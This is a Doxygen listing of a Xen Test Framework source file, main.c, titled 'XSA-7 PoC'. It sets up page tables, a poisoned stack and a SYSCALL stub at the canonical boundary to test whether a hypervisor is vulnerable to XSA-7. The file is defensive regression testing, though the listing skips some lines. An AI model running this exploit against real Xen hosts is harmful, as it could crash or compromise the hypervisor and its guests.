Xen Test Framework
main.c
Go to the documentation of this file.
1
69#include <xtf.h>
70
71const char test_title[] = "XSA-7 PoC";
72
73void stub(void);
74
75/*
76 * A page to be mapped at the lower canonical boundary. The attack needs a
77 * SYSCALL instruction at the end. The rest may be used as a stack by Xen,
78 * including a top-of-stack block. Poison with 0xcc to to make the pointers
79 * in the top-of-stack block be non-canonical.
80 */
81asm (".align 4096;"
82 ".skip 4096 - (.L_page_end - stub), 0xcc;"
83
84 "stub: "
85 " syscall;"
86 ".L_page_end:"
87
88 _ASM_EXTABLE_HANDLER(0x0000800000000000, .L_stub_done, ex_gp)
89 );
90
91bool ex_gp(struct cpu_regs *regs, const struct extable_entry *ex)
92{
93 if ( regs->entry_vector == X86_EXC_GP && regs->error_code == 0 )
94 {
95 regs->_rsp = regs->rdx; /* Restore %rsp from the xchg */
96 regs->ip = ex->fixup;
97
98 return true;
99 }
100
101 return false;
102}
103
104void test_main(void)
105{
108 static intpte_t l1t[L3_PT_ENTRIES] __page_aligned_bss;
109
111 int rc;
112
113 /* Map the page containing stub_fn at the lower canonical boundary. */
114 l1t[511] = pte_from_virt(stub, PF_SYM(AD, RW, P));
115 l2t[511] = pte_from_virt(l1t, PF_SYM(AD, RW, P));
116 l3t[511] = pte_from_virt(l2t, PF_SYM(AD, RW, P));
117
119 _u(l1t), pte_from_virt(l1t, PF_SYM(AD, P)), 0) )
120 return xtf_error("Error: Can't remap l1t as R/O\n");
122 _u(l2t), pte_from_virt(l2t, PF_SYM(AD, P)), 0) )
123 return xtf_error("Error: Can't remap l2t as R/O\n");
125 _u(l3t), pte_from_virt(l3t, PF_SYM(AD, P)), 0) )
126 return xtf_error("Error: Can't remap l3t as R/O\n");
127
128 mmu_update_t mu[] = {
129 {
130 .ptr = virt_to_maddr(&l4t[255]),
131 .val = pte_from_virt(l3t, PF_SYM(AD, RW, P)),
132 },
133 };
134
136 if ( rc )
137 return xtf_error("Error: mapping buffer failed: %d\n", rc);
138
139 /*
140 * The attack run uses SYSCALL, so executes one hypercall before getting
141 * into trouble. Use XENVER_version for speed and to avoid side effects.
142 *
143 * Load the bad stack by XCHG-ing %rsp, so ex_gp() can recover the good
144 * stack. Then jump to stub()'s alias beside the low canonincal boundary.
145 */
146 register unsigned long r11 asm ("r11");
147 unsigned long tmp;
148 asm volatile (
149 " xchg %[stk], %%rsp;"
150 " jmp *%[stub];"
151 ".L_stub_done:"
152 : "=a" (tmp), "=D" (tmp), "=S" (tmp), /* Hypercall clobbers */
153 "=c" (tmp), "=r" (r11), /* SYSCALL clobbers */
154 [stk] "=&d" (tmp) /* XCHG clobber */
156 "D" (XENVER_version),
157 "S" (NULL),
158 [stub] "r" (_p(0x00007ffffffff000ULL) + (_u(stub) & ~PAGE_MASK)),
159 "[stk]" (0x00007fffffffff00UL)
160 );
161
162 /*
163 * If we're still alive, Xen didn't crash, and ex_gp() (registered by the
164 * non-canonical %rip) did trigger and fix up properly.
165 */
166 xtf_success("Success: Not vulnerble to XSA-7\n");
167}
168
169/*
170 * Local variables:
171 * mode: C
172 * c-file-style: "BSD"
173 * c-basic-offset: 4
174 * tab-width: 4
175 * indent-tabs-mode: nil
176 * End:
177 */
xen_pv_start_info_t * pv_start_info
Definition: traps.c:14
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:301
const char test_title[]
The title of the test.
Definition: main.c:13
#define __page_aligned_bss
Definition: compiler.h:37
static long hypercall_mmu_update(const mmu_update_t reqs[], unsigned int count, unsigned int *done, unsigned int foreigndom)
Definition: hypercall.h:61
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition: hypercall.h:116
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38
#define ARRAY_SIZE(a)
Definition: lib.h:8
uint64_t virt_to_maddr(const void *va)
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define L2_PT_ENTRIES
Definition: page.h:70
#define L1_PT_ENTRIES
Definition: page.h:69
unsigned long intpte_t
Definition: page.h:152
intpte_t pte_from_virt(const void *va, uint64_t flags)
#define X86_EXC_GP
Definition: processor.h:115
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define NULL
Definition: stddef.h:12
Exception table entry.
Definition: extable.h:65
unsigned long fixup
Fixup address.
Definition: extable.h:67
uint64_t ptr
Definition: xen.h:249
Definition: main.c:189
unsigned long pt_base
Definition: xen.h:223
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
#define XENVER_version
Definition: version.h:8
#define DOMID_SELF
Definition: xen.h:70
#define __HYPERVISOR_xen_version
Definition: xen.h:30
bool ex_gp(struct cpu_regs *regs, const struct extable_entry *ex)
Definition: main.c:91
void stub(void)
intpte_t l2t[512]